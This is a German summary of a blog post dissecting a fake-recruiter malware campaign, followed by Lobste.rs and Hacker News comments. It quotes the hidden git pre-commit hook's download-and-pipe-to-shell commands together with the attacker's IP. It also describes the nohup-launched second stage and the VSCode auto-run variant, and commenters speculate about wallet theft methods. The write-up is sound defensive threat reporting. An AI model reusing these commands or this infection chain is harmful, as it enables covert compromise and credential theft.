Als ich ein projektbasiertes Vorstellungsgespräch öffnete, stellte es sich als organisierte Malware-Operation heraus

• Ein falscher Recruiter auf LinkedIn bot eine Remote-Stelle als Python-Entwickler mit 10.000–15.000 US-Dollar Monatsgehalt an und verschickte eine ZIP-Datei, die als normale FastAPI-Aufgabe getarnt war, aber so aufgebaut war, dass im Verlauf der Git-Arbeit Malware installiert wurde
• Im Verzeichnis .git/hooks war ein pre-commit-Hook versteckt, der unauffällig betriebssystemspezifische Remote-Payloads ausführte; die Git-Aufgaben im PDF dienten dazu, Bewerber zur Ausführung zu verleiten
• Die Linux-Payload lud ein Skript der zweiten Stufe nach ~/Documents, startete es mit nohup und installierte danach Node.js, Abhängigkeiten sowie das verschleierte parser.js, das im Hintergrund lief
• Wenn man den Wert id=402 in der Anfrage änderte, wurden andere Skripte zurückgegeben; in package.json waren unter anderem clipboardy für den Zugriff auf die Zwischenablage und die Ethereum-Entwicklungsumgebung hardhat enthalten, das endgültige Ziel blieb aber unklar
• Die Angreifer fügten einem öffentlichen FastAPI-Repository nur ein bösartiges Verzeichnis hinzu; eine andere Variante führte bereits beim Öffnen des Ordners in VSCode Befehle aus. Vor dem Umgang mit externen Projekten sollten versteckte Verzeichnisse und Auto-Run-Einstellungen geprüft werden

---

Ein verdächtig gutes Jobangebot

• Ein über LinkedIn eingetroffenes Angebot für eine Python-Entwicklerstelle war als Remote-first-Vertrag mit späterer Festanstellung angelegt und versprach 10.000–15.000 US-Dollar pro Monat
• Noch vor einem Gespräch wurde die hohe Vergütung offen genannt; gemessen an Indien war das eine sehr große Summe und damit das erste Warnsignal
• Das für die Rekrutierung verwendete Unternehmen ließ sich als Y Combinator Startup verifizieren, doch bei einem Unternehmen mit einem solchen Budget blieb der Verdacht, dass es normalerweise ein deutlich strukturierteres Einstellungsverfahren hätte
• Nach dem Versand des Lebenslaufs kam sofort eine Zusage, und über Google Drive wurden ein ZIP-Archiv sowie ein PDF mit Aufgabenanweisungen bereitgestellt
• Das PDF verlangte Verbesserungen an einer bestehenden Codebasis, Architekturvorschläge und Git-Arbeit und wirkte oberflächlich wie ein normales Bewertungsdokument

Im FastAPI-Projekt versteckter Git-Hook

• Das Archiv enthielt ein gewöhnliches FastAPI-Backend mit SQLAlchemy, und auch in requirements.txt fanden sich weder Typosquatting noch offensichtlich bösartige Pakete
• Als zur Prüfung versteckter Dateien tree -a ausgeführt wurde, zeigte sich, dass unter .git/hooks bereits mehrere Git-Hooks vorkonfiguriert waren
• Das pre-commit-Skript erkannte das Betriebssystem mit uname -s und lud anschließend plattformspezifische Payloads vom selben Server herunter und führte sie aus
  • Unter macOS wurde curl .../task/mac?id=402 | sh ausgeführt
  • Unter Linux wurde wget .../task/linux?id=402 | sh ausgeführt
  • Unter Windows wurde curl .../task/windows?id=402 | cmd ausgeführt
• Sämtliche Ausgaben wurden nach /dev/null umgeleitet und die Prozesse im Hintergrund gestartet, um Ausführungsspuren vor dem Nutzer zu verbergen
• Statt eines Domainnamens wurde direkt die rohe IP-Adresse 45.61.164.38:5777 verwendet, wodurch das bösartige Verhalten noch auffälliger wirkte

Mehrstufige Payload unter Linux

• Das erste Linux-Skript lud tokenlinux.npl nach ~/Documents herunter, benannte die Datei in tokenlinux.sh um und setzte Ausführungsrechte
• Anschließend wurde das Skript mit nohup bash im Hintergrund gestartet, sodass der Prozess auch nach dem Schließen des Terminals oder nach dem Logout weiterlief
• Das Skript der zweiten Stufe führte im Hintergrund folgende Schritte aus
  • Node.js installieren und den Systempfad konfigurieren
  • parser.js und package.json herunterladen
  • erforderliche npm-Abhängigkeiten installieren
  • parser.js mit nohup node starten und die Logs in parser.log schreiben
• parser.js war so stark verschleiert, dass eine manuelle Analyse kaum möglich war; die Originaldatei ist unter parser.js archiviert

Möglichkeit einer opferspezifischen Identifizierung

• An den Endpunkt wurde wiederholt der Parameter id=402 übergeben; bei Änderung dieses Werts wurde ein völlig anderes Skript zurückgeliefert
• Möglich ist, dass die Angreifer jedem Bewerber eine eindeutige Kennung zuwiesen und angepasste Payloads auslieferten, die tatsächliche Tracking-Methode ließ sich jedoch nicht bestätigen
• Zur Entschleierung wurde der Code in mehrere LLMs eingegeben, aber die Ergebnisse fielen unterschiedlich aus
  • Claude verweigerte die Analyse wegen aktivierter Sicherheitsbeschränkungen
  • Gemini lieferte ein Analyseergebnis für das Skript
• Eine Suche nach der ursprünglichen Dateiendung tokenlinux.npl bestätigte einen Zusammenhang mit einer breiter angelegten Angriffskampagne

Verdächtige Node.js-Abhängigkeiten

• Der Projektname in package.json lautete tokendapp und enthielt hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request und weitere Pakete
• Warum für die Hintergrundkonfiguration clipboardy für den Zugriff auf die Zwischenablage und dateisystembezogene Pakete benötigt wurden, blieb unklar
• hardhat ist eine Ethereum-Entwicklungsumgebung, doch da Ethereum vom Proof-of-Work abgewichen ist, lässt sich daraus nicht ohne Weiteres auf eine typische Mining-Konfiguration schließen
• Es wurden auch Möglichkeiten geprüft, ob nach Krypto-Wallets gesucht oder mit lokalen Browser-Erweiterungen interagiert werden sollte, doch das endgültige bösartige Ziel wurde nicht bestätigt

Andere Variante mit VSCode

• Eine andere Variante desselben Angriffs versteckte einen .vscode-Ordner im ZIP-Archiv und war so eingerichtet, dass beim Öffnen dieses Verzeichnisses in VSCode Befehle ausgeführt wurden
• Bei dieser Methode konnte bereits das bloße Öffnen des Ordners zur Infektion führen, auch ohne Git-Befehle oder direkte Ausführung des Projektcodes
• Es bestätigte sich, dass kein bestimmtes Unternehmen direkt an dem Angriff beteiligt war; die Angreifer nutzten lediglich den Namen eines gefundenen Unternehmens, um das Jobangebot glaubwürdig erscheinen zu lassen

Tarnung durch Wiederverwendung eines öffentlichen Repositorys

• Im git log war unverändert die Commit-Historie bestehender Entwickler zu sehen, nicht die eines von den Angreifern selbst erstellten Projekts
• Die Originalquelle war das öffentliche Repository personal-finance-service
• Die Angreifer kopierten das legitime FastAPI-Projekt und fügten nur ein bösartiges verstecktes Verzeichnis hinzu, um es als Aufgaben-Codebasis zu tarnen
• Wer nur den normalen Code und die saubere requirements.txt prüfte, konnte die bösartige Aktivität leicht übersehen

Untersuchung des Angriffsservers und ihre Grenzen

• Ein Nmap-Scan des Angriffsservers ergab drei offene Ports, von denen zwei nicht auf Versionserkennung reagierten
• Auf Port 22 lief OpenSSH 9.6p1 unter Ubuntu
• Zum Zeitpunkt des Scans war diese Version erst seit gut einer Woche veröffentlicht, sodass keine nutzbare bekannte CVE gefunden wurde und sich die Untersuchung nicht sinnvoll ins Serverinnere ausweiten ließ
• Die Verteilungsmethode der Malware war auffällig, doch die Betriebssicherheit des Servers war vergleichsweise gut aufrechterhalten, weshalb die Nachverfolgung an diesem Punkt endete

Die Rolle der Git-Aufgabe

• Die Git-Aufgaben im PDF dienten dazu, Bewerber mindestens einmal einen Git-Befehl ausführen zu lassen und so den vorinstallierten Hook auszulösen
• Der falsche Recruiter scheint sein LinkedIn-Konto unmittelbar gelöscht zu haben, nachdem er einen Hinweis erhalten hatte, dass der Angriff entdeckt worden war
• Bevor unbekannte Projekte ausgeführt oder Git-Befehle darin verwendet werden, sollten mit Werkzeugen wie tree -a versteckte Verzeichnisse und Auto-Run-Einstellungen wie .git und .vscode geprüft werden

[GN⁺]

Meinungen auf Lobste.rs

• Die angegebene IP-Adresse 45.61.164.38 wurde geprüft: Sie wird bei AS14956 von RouterHosting unter Cloudzy gehostet und überschneidet sich nicht mit der sonst gepflegten Sperrliste für Wiki-Spam.
  Eine Missbrauchsmeldung könnte hilfreich sein.

  • Auch 14 Stunden später ist sie weiterhin in Betrieb und verteilt dieselbe Malware.

• Ich war noch nie Ziel einer personalisierten Betrugskampagne und habe nur normalen Spam sowie schlechte, aber echte Jobangebote bekommen, was mich fast ein bisschen enttäuscht.
  Nicht einmal Phishing mit mittlerem Aufwand war dabei.

• Claudes Sicherheitsmechanismen sind übermäßig nervig.
  Tatsächlich böswillige Nutzer haben einen starken Anreiz, sie zu umgehen, während normale Nutzer, die den Inhalt verstehen wollen, viel zu leicht blockiert werden und keinen Grund haben, es immer wieder zu versuchen.

• Nach langer Jobsuche habe ich allerlei Absurdes erlebt, etwa Forderungen nach kostenlosen Arbeitsergebnissen oder Versuche, Bewerber zu hacken; dieser Fall wirkt besonders unverhohlen.
  Generell lehne ich Take-Home-Aufgaben und die Erstellung kostenloser Arbeitsergebnisse ab und schlage stattdessen vor, ein passendes Portfolio auf GitHub oder einem persönlichen Blog zu zeigen oder die Umsetzung live in einer Pair-Programming-Session zu machen.
  Ein Portfolio zeigt Fachgebiet und konkrete Erfahrung, ohne kostenlose Beratung zu liefern, und führt eher zu passenden Chancen; eine Live-Implementierung ähnelt einem klassischen technischen Interview oder einem Gespräch zum Systemdesign.
  Wenn beides abgelehnt wird, steige ich aus dem Bewerbungsprozess aus, weil sich damit trotz einiger False Positives deutlich mehr echte Warnsignale herausfiltern lassen.
  Ich folge dem Grundsatz: „Wenn der Nachweis meiner Fähigkeiten vor dem Gericht dieser Organisation nicht als Beweis zugelassen wird, möchte ich dort nicht arbeiten.“

• Wenn eine Website ohne Erlaubnis automatisch Musik abspielt, ist das extrem störend.
  Es dauerte ein paar Sekunden, die Quelle der Störung zu finden, und in Firefox ließ sich der Tab leicht stummschalten, aber das sollte gar nicht erst etwas sein, das Nutzer selbst beheben müssen.

• Eine interessante Analyse, aber die Entscheidung, nach dem Fund der Malware in einer dedizierten virtuellen Maschine weiter zu untersuchen, halte ich ebenfalls für einen ziemlich risikofreudigen Ansatz.
  Selbst bei erfahrenen Penetration Testern kann ein kurzer Moment der Unachtsamkeit großen Schaden anrichten; ein Maß an Vorsicht, das fast schon an Paranoia grenzt, ist daher praktisch hilfreich.

• hardhat kann sich mit einem entfernten Ethereum-RPC verbinden oder einen lokalen simulierten Fork ausführen, der kaum Ressourcen verbraucht.
  Als mögliche Ziele erscheinen zwei Dinge plausibel: der Diebstahl privater Schlüssel aus ungeschützten Wallets und ein Man-in-the-Middle-Angriff (MITM) auf Hardware-Wallets.
  Ersteres ist eine einfache, auch bei Minecraft-Mods verbreitete Methode; wenn der private Schlüssel bereits erlangt wurde, kann der Angriff ohne Nutzerinteraktion erfolgen, sodass hardhat höchstens nötig ist, um Transaktionen vorab testweise auszuführen.
  Letzteres nutzt die Struktur aus, dass Browser-Erweiterungen signierte Transaktionen über gehostete RPC-Server verbreiten.
  Während Nutzer glauben, auf einer vertrauenswürdigen Website eine normale Transaktion durchzuführen, ersetzt der RPC-Server sie durch eine bösartige Payload; wenn Nutzer signieren, ohne den Inhalt auf der Hardware-Wallet genau zu prüfen, kann der Angreifer sie ausführen.

[GN⁺]

Hacker-News-Kommentare

• Erst nach dem Lesen dieses Beitrags wurde mir klar, dass ich auf eine viel raffiniertere Weise gehackt worden war
  Vor ein paar Wochen hatte ich ein Bewerbungsgespräch mit dem CTO eines echten Unternehmens; die Kamera war aus und der Akzent stark, aber das Gespräch wirkte natürlich und die Person kannte sich technisch gut aus. Im technischen Interview hieß es, ich solle das Open-Source-Projekt der Firma anpassen, also das Repository klonen und die Entwicklungsumgebung prüfen
  Später sagte die HR-Person, das Gespräch sei wegen einer Erkrankung des CTO verschoben worden, und ein paar Tage danach wurde auch deren LinkedIn-Profil gelöscht. Nachdem ich diesen Beitrag gesehen hatte, prüfte ich es nach und stellte fest, dass das Repository, das ich im Interview geklont und ausgeführt hatte, eine Malware-Payload enthielt
  Vermutlich wurde ich zum Ziel, weil ich früher ein NPM-Paket mit über 43 Millionen wöchentlichen Downloads betreut hatte. Ich habe auf allen Konten 2FA aktiviert und NPM-Pakete ohnehin manuell ohne Token veröffentlicht, aber ich muss den Laptop zurücksetzen und alles neu installieren

  • Beim Prüfen des Kalenders sah ich, dass es ein 45-minütiges Interview über Calendly war, und ich habe tatsächlich 45 Minuten lang mit jemandem gesprochen, der sich über den vom Recruiter gesendeten Link als CTO ausgab
    Ich habe nach ähnlichen HN-Beiträgen gesucht, aber keinen gefunden, in dem die Betrüger sogar bis zu einem Google-Meet-Anruf gingen
  • Ich lehne Anfragen ab, irgendein beliebiges Projekt einfach so zu klonen. Ich bin Rails-Entwickler und kann das Grundgerüst einer kompletten Anwendung in ein paar Minuten erstellen, also sage ich, sie sollen mir nur die Anforderungen geben und ich setze es von Anfang bis Ende selbst um
    Ein seriöses Unternehmen wird das in Betracht ziehen; lehnt es ab, hat man immerhin ein Risiko vermieden. Da heute Code-Generierung mit LLMs breit eingesetzt wird, sollte das meiner Meinung nach mit jedem Tech-Stack möglich sein
  • In so einer Umgebung scheint in Containern isoliertes VS Code nötig zu sein
  • Es ist seltsam, dieselben sozialen Medien zu nutzen wie Menschen, die eines gezielten Angriffs würdig sind. Einem Durchschnittsmenschen wie mir kommen nur Betrugsmaschen wie „gratis Freispiele“ oder „ein sterbender deutscher Milliardär“ unter, und die eindrucksvollste E-Mail-Betreffzeile war „Es tut mir leid, dass ich deine Vagina ruiniert habe“

• In letzter Zeit scheinen Angriffe aus Nordkorea auf Entwickler zuzunehmen. Zusätzlich zu diesen seit Jahren laufenden Methoden bekomme ich etwa einmal pro Woche E-Mails nordkoreanischer Hacker nach dem Muster „Ich habe dein Profil gesehen, hättest du Interesse an einer Zusammenarbeit?“
  Auch in Programmier-Discord-Communities gibt es viele Accounts, die innerhalb weniger Tage nach dem Beitritt nach Jobs oder Zusammenarbeit fragen. Es könnten echte Jobsuchende sein, aber die Menge und Ähnlichkeit der Nachrichten ist verdächtig, und wenn sie sogar in Communities wenig genutzter Python-Bibliotheken mit kaum Aktivität auftauchen, wirkt es so, als würden sie Discord-Community-Listen scrapen und wahllos Kontakt aufnehmen
  Solche Angriffe, die gegenseitiges Vertrauen ausnutzen, nehmen zu; man braucht also wohl doch wieder das, was Eltern immer sagten: Fremden im Internet nicht vertrauen

  • Inzwischen machen LLMs natürliche Standardgespräche möglich, sodass man sie nicht mehr wie früher sofort als Bots aussortieren kann

• Die Methode, erst das Betriebssystem des Opfers zu prüfen und dann heimlich eine Remote-Payload auszuführen, taucht wiederholt auf, und schon letzten Monat war ein ähnlicher Beitrag auf der Startseite
  https://news.ycombinator.com/item?id=48546294

  • Der Originalbeitrag sagt das selbst ausdrücklich und verlinkt auf Google-Suchergebnisse mit demselben Inhalt

• Eine rohe IP-Adresse vermittelt stark den Eindruck von Malware, aber ein Opfer, das tief genug hineinschaut, um den Hook-Inhalt zu prüfen, wird dort vermutlich nicht aufhören, misstrauisch zu sein. Die meisten Entwickler würden wohl nicht erwarten, dass git commit bösartiges Verhalten ausführen kann; ich frage mich, ob das eine Sicherheitslücke in Git ist

  • Beim einfachen Klonen eines Repositories werden Git-Hooks nicht automatisch aktiviert. Hier war es aber kein Klonen, sondern ein heruntergeladenes Projekt, also ist die Lage anders
  • Unabhängig vom verwendeten Tool ist es heute riskant, heruntergeladenen Code ungeprüft auszuführen

• Am Ende bleibt nur, dass Claude als Helfer völlig nutzlos war wegen all der Sicherheitsmechanismen

• Die Nutzung einer rohen IP könnte dem Zweck dienen, beim Domain-Registrar keine Identitätsdaten zu hinterlassen oder die Online-Spuren zu minimieren

  • Deshalb scheinen rohe IP-Adressen oft mit verdächtigen Aktivitäten verbunden zu sein
  • Es ist auch möglich, dass diese Hosts selbst mit Malware infiziert sind und derzeit als missbrauchte Proxy-Systeme dienen

• Die meisten Screenshots ließen sich nicht direkt öffnen, ich musste sie in einem neuen Tab ansehen
  Dieser Betrug ist ziemlich raffiniert, sodass vermutlich schon viele Jobsuchende darauf hereingefallen sind, und das im Beitrag gezeigte Visual-Studio-Code-Projekt wirkt noch gefährlicher. Wenn schon das Öffnen eines Projekts User-Code ausführen kann, ist das ein klarer Malware-Pfad und braucht Sicherheitsmaßnahmen
  Auch die Reaktion der Recruiting-Plattformen ist unzureichend. Schon wenn man für die Behauptung, zu einem Unternehmen oder einer Institution zu gehören, einen Beschäftigungsnachweis verlangen und bei Nachrichten von nicht verifizierten Accounts eine große Warnung anzeigen würde, wären viele Betrugsversuche deutlich schwerer. Derzeit kann jeder beliebige Berufserfahrung oder Abschlüsse bei beliebigen Firmen angeben

  • Man scheint die Geschichte von Word- und Excel-Makro-Malware, die beim Öffnen eines Dokuments automatisch lief, vergessen zu haben
  • Alle Bilder werden auf GitHub Pages gehostet, daher sollte wohl ein separates CDN verwendet werden

• Schön, mal wieder einen Beitrag über echtes Hacking auf der Hacker-News-Startseite zu sehen

  • Mit Hacker ist auf Hacker News etwas anderes gemeint
    http://www.catb.org/jargon/html/H/hacker.html
    Gemeint ist eine Person, die die Details und Grenzen programmierbarer Systeme erforscht und insbesondere Freude daran hat, die innere Funktionsweise von Computern und Netzwerken tief zu verstehen. Außerdem bezeichnet es jemanden, der nicht bei der Theorie stehen bleibt, sondern mit Leidenschaft, manchmal geradezu verbissen, programmiert

• Wenn LinkedIn es mit Betrugsbekämpfung ernst meint, könnte es beim Eintragen des aktuellen Arbeitgebers eine Verifizierung über die Firmen-E-Mail anbieten. Falls eine Pflicht zu belastend ist, könnte man es wenigstens so machen, dass Recruiter, die ihre Legitimität belegen wollen, dies optional verifizieren können

  • LinkedIn hat diese Funktion bereits 2023 hinzugefügt (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Allerdings verifizieren tatsächlich nur wenige Menschen ihre E-Mail, daher ist fehlende Verifizierung nicht automatisch ein Zeichen für ein Fake-Profil
  • Freunde und ich haben über Jahre mit Fake-Profilen Recruiter und Unternehmen angelockt, um herauszufinden, welche Stellen offen sind und nach welchen Kandidaten gesucht wird. Besonders nützlich war das, als JavaScript-Frameworks sprunghaft zunahmen, um seriöse Unternehmen und Recruiter von Betrügern zu unterscheiden
    Vermutlich passiert Ähnliches jetzt wieder, da es auf dem AI-Recruiting-Markt und bei der Nachfrage nach LLMs und Automatisierung viel auszunutzen gibt

• Solche Angriffe werden vermutlich immer häufiger. Die Angreifer haben gründlich recherchiert und die Methode ist bösartig, aber ihre technische Ausführung ist durchaus anerkennenswert, und die tatsächliche Erfolgsquote dürfte ziemlich hoch sein

  • Der Blick ins Innere war unterhaltsam, fast wie eine CTF-Aufgabe. Wenn der Server der Angreifer auch noch eine Schwachstelle gehabt hätte, wäre es noch interessanter gewesen
  • Ihre Technik könnte auch einfach von einem LLM übernommen worden sein